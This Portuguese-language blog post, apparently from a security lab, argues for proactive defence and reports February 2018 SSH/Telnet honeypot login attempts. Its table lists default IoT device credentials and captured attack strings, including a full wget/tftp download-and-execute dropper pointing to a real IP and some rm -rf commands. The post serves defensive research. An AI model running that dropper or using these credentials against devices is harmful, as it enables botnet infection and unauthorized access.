O título do post parece acidental ou tautológico, mas vamos falar sobre a necessidade de aprimorar medidas defensivas através da proatividade.
Há um volume de dados quase inacreditável de novos vazamento de senhas. Diariamente surgem listas de senhas vazadas em sites como o pastebin.com, pastebin.ca ou de compartilhamento de arquivos na Web ou na Deep Web. Um desses casos já foi inclusive relatado aqui no Lab como a divulgação de credencias de acesso do governo de Roraima.
Se tomarmos fontes abertas como referência, esse artigo da Fortune – que utiliza dados da SplashData – informa que as 25 senhas mais comuns representam mais de 10% do total da amostragem, sendo que a senha mais comum em 2017 foi “123456” (sozinha representa certa de 3% do total).
É certo que elementos maliciosos, conhecidos pela criatividade em seu modus operandi, se valem dessas listas de senhas vazadas para conduzir ataques cibernéticos.
Defesa proativa
Uma defesa proativa monitora os vazamentos de credenciais de seus usuários a despeito da origem do incidente, pois como demonstramos seu usuário pode usar ativos institucionais para fins pessoais e isso pode ser utilizado contra vocês (p.ex. compartilhamento de senhas). Detectar e notificar os usuários quando são vítimas desse tipo de divulgação indesejada previne ataques que explorem a credencial vazada e conscientiza seu usuário sobre o grau de exposição dele.
Outra iniciativa de uma defesa proativa é observar o comportamento dos seus atacantes e orientar medidas defensivas de acordo com as suas características. Mas como observar de forma sistemática a tentativa de acesso a serviços legítimos por quebra de credencial de acesso? A senha não é persistida em log, por razões óbvias de privacidade dos usuários. Então, como analisar o comportamento do atacante que tenta o acesso indevido? Como saber o seu objeto de interesse depois de conseguir o acesso?
Uma ótima solução são os honeypots de média ou de alta interação.
A DefCon-Lab dispõe de honeypots em funcionamento e apresenta a seguir os dados referentes ao mês de fevereiro de 2018 para os serviços SSH (porta 22) e Telnet (porta 23). No período, o sensor em questão coletou em torno de 4.7 milhões de registros, o que corresponde a aproximadamente duas tentativas de login por segundo.
Esse volume de registros coletados indica que o “atacante padrão” faz uso massivo de bots automatizados para tentativa de acesso por meio dessas portas.
Lista dos 50 usuários mais utilizados.
Logo percebemos que alguns registros são nomes de usuário padrão de sistema ou de aplicações. Em outros casos observa-se, na verdade, a tentativa de injeção de código ou de comandos. Exemplos disso são os logins “sh” e o “>/boot/.ptmx && cd /boot”.
Lista das 50 senhas mais utilizados.
Assim como nos nomes de usuários tentados com mais frequência saltam aos olhos a tentativa de uso de senha padrão de sistema ou de aplicações e as tentativas de injeção de comando. Vale frisar que observamos algumas ocorrências das top-25 senhas citadas pela Forbes foram observadas no mês de fevereiro.
A tabela a seguir sintetiza as informações anteriores e apresenta as 10 senhas mais utilizadas para os 20 usuários mais recorrentes, esses dados correspondem a aproximadamente 9% de todas as tentativas de login no mês de fevereiro para o sensor em questão.
Total | 420.467 | |
Usuário | Senha | Tentativas Login |
admin | ! | 27.121 |
admin | 19.684 | |
admin | 1234 | 17.765 |
admin | admin | 5.095 |
admin | 12345 | 2.230 |
admin | pass | 2.003 |
admin | abc123 | 1.956 |
admin | admin1234 | 1.679 |
admin | smcadmin | 1.475 |
admin | password | 1.447 |
root | root | 2.989 |
root | vizxv | 2.356 |
root | 123456 | 2.194 |
root | 12345 | 2.083 |
root | default | 2.062 |
root | pass | 2.057 |
root | 1234 | 1.973 |
root | 54321 | 1.924 |
root | xc3511 | 1.838 |
root | anko | 1.795 |
0 | 34.248 | |
0 | 0 | 32.496 |
0 | 10 | |
enable | shell | 56.704 |
enable | system | 98 |
sh | /bin/busybox ECCHI | 29.299 |
sh | >/tmp/.ptmx && cd /tmp/ | 9.531 |
sh | /bin/busybox daddyl33t | 9.358 |
sh | /bin/busybox MIORI | 878 |
sh | /bin/busybox ASUNA | 781 |
sh | shell | 520 |
sh | /bin/busybox YBGXD | 273 |
sh | cd /tmp/; wget http://80.211.166.115/w.sh; chmod 777 w.sh; sh w.sh; tftp 80.211.166.115 -c get t.sh; chmod 777 t.sh; sh t.sh; rm -rf w.sh t.sh; history -c | 117 |
sh | /bin/busybox Fixed | 89 |
sh | /bin/busybox REKAI | 86 |
1111 | 1111 | 33.382 |
010101 | 010101 | 26.748 |
enable | 17.607 | |
PASSWORD | 394 | |
3ascotel | 393 | |
private | 393 | |
1234 | 392 | |
ADTRAN | 392 | |
Password | 392 | |
adtran | 392 | |
ascend | 392 | |
atc123 | 392 | |
123 | 123 | 16.737 |
123 | 123123 | 2 |
123 | 123456 | 2 |
123 | password | 2 |
system | shell | 14.277 |
system | manager | 393 |
system | password | 31 |
system | system | 12 |
system | sys | 11 |
system | sytem | 4 |
system | 1 | 1 |
system | 123456 | 1 |
system | a | 1 |
system | system123 | 1 |
support | support | 4.162 |
support | 123456 | 711 |
support | 1234 | 659 |
support | admin | 63 |
support | 58 | |
support | qrst | 43 |
support | 3500/24 | 25 |
support | 123 | 20 |
support | password | 19 |
support | pass | 12 |
>/var/.ptmx && cd /var/ | >/dev/.ptmx && cd /dev/ | 5.336 |
user | user | 2.910 |
user | 123456 | 443 |
user | debug | 392 |
user | forgot | 390 |
user | pass | 35 |
user | 12345 | 34 |
user | password | 32 |
user | 19 | |
user | public | 12 |
user | pu | 9 |
guest | guest | 1.089 |
guest | 12345 | 932 |
guest | 123456 | 238 |
guest | 230 | |
guest | 1111 | 208 |
guest | friend | 191 |
guest | admin | 67 |
guest | password | 2 |
guest | !@#$%^ | 1 |
guest | 123 | 1 |
enable\x00 | system\x00 | 2.667 |
enable\x00 | shell\x00 | 52 |
enable\x00 | rm -rf /tmp/moscow/ /var/moscow/; mkdir /tmp/moscow/ || mkdir /var/moscow/; cd /tmp/moscow/ || cd /var/moscow/ | 9 |
default | 782 | |
default | default | 407 |
default | video | 392 |
default | OxhlwSG8 | 362 |
default | S2fGqNFs | 197 |
default | antslq | 192 |
default | tlJwpbo6 | 96 |
default | Oxh1wSG8 | 16 |
Administrator | admin | 622 |
Administrator | 534 | |
Administrator | changeme | 454 |
Administrator | ggdaseuaimhrke | 393 |
Administrator | meinsm | 68 |
Administrator | 3ware | 54 |
Administrator | password | 52 |
Administrator | 3!play | 38 |
Administrator | smcadmin | 37 |
Administrator | ganteng | 36 |
shell\x00 | sh\x00 | 2.150 |
mg3500 | merlin | 1.881 |
Admin | Admin | 895 |
Admin | 123456 | 393 |
Admin | 5up | 193 |
Admin | 93 | |
Admin | admin | 33 |
Admin | smcadmin | 33 |
Admin | Password | 32 |
Admin | 1234 | 1 |
Admin | 12345 | 1 |
Admin | 12345678 | 1 |
Conclusão
Quem já teve a curiosidade mórbida de analisar logs de máquinas expostas à internet sabe o volume de probing existente. Os dados do nosso honeypot demonstram por meio de evidências – mais 4.7 milhões de tentativas de acesso a serviços não convencionais como o HTTP ou HTTPS – o uso massivo de bots automatizados pelos agentes maliciosos. Outro aspecto que pode surpreender é que a interface e o módulo de autenticação também podem ser objeto de tentativa de exploração de vulnerabilidade e de injeção de código arbitrário.
A complexidade do ambiente cibernético não mais permite uma postura estritamente defensiva, na qual o defensor se encastela e torce para que o ataque seja detido passivamente. Medidas como a implementação de política de senha (tamanho, complexidade, prazo de validade, etc), limite de quantidade de tentativas de acesso são necessárias, mas não suficientes para evitar o acesso indevido pelo uso de credenciais vazadas.
A defesa deve adotar medidas pró-ativas para complementar suas ações convencionais. A nossa experiência tem demonstrado que monitorar vazamentos e operar honeypots são formas eficientes de aprimorar a sua condição defensiva. São formas de se aprender com seu oponente jogando o jogo deles.